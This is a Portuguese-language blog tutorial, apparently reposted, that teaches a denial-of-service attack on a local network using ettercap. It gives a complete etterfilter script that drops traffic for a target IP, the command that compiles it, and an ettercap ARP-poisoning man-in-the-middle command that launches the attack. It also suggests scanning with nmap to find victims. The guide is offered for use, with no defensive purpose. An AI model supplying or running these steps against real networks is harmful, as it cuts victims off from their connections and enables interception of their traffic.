Um ataque de negação de serviço (também conhecido como DoS - Denial of Service), é uma tentativa em tornar os recursos de um sistema indisponíveis para seus utilizadores.

Na vídeo aula e passada dentro de um ambiente de rede interna, no meu caso eu ja sabia qual o endereço de ip da maquina a qual eu quero usar o ataque, mas você podem usar ferramentas de rede para identificar maquinas que estão ligadas no momento para um possível ataque, ex: de uma ferramenta muito utilizado e o nmap, lembrando que existe inúmeras ferramentas para esse fim.

Primeiro passo -> Criar uma arquivo com a extensão .eft, no caso especifico eu coloquei o nome de dos.eft que poderia ser qualquer nome.

if (ip.src == 'IP do alvo' || ip.dst 'IP do alvo') {
drop();
kill();
msg("Mensagem que sera imprimida na tela\n");
}
Segundo passo -> Temos que compilar o arquivo com o filtro do ettercap, para que o mesmo possa executar o arquivo. Então abram o terminal e digite a seguinte sintaxe de comando:

OBS
: Olhe para o local onde foi salvo o arquivo, no meu caso foi na pasta "root", minha area de trabalho.

# etterfilter dos.eft -o dos.ef
Terceiro passo -> Vamos da inicio ao ataque, usando o ettercap:

# ettercap -T -q -F /local.do.arquivo/dos.ef -M arp /IP do alvo/ // -i etho
Obs: eth0 - e minha interface de rede.

Volia, se o host alvo tentar acessar a internet, estava impedido de executar tal função.... rsrs

O que acontece?
Faço o MITM com ettercap, quando o host alvo faz uma solicitação, o ettercap simplesmente descarta os pacotes e não deixa os mesmo chegarem ao destino... com isso temos uma negação de serviço.

Baixar:
Assisti on-line:

Fonte: Remote Execution ~ Bhior: Denial Of Service (DOS) com ettercap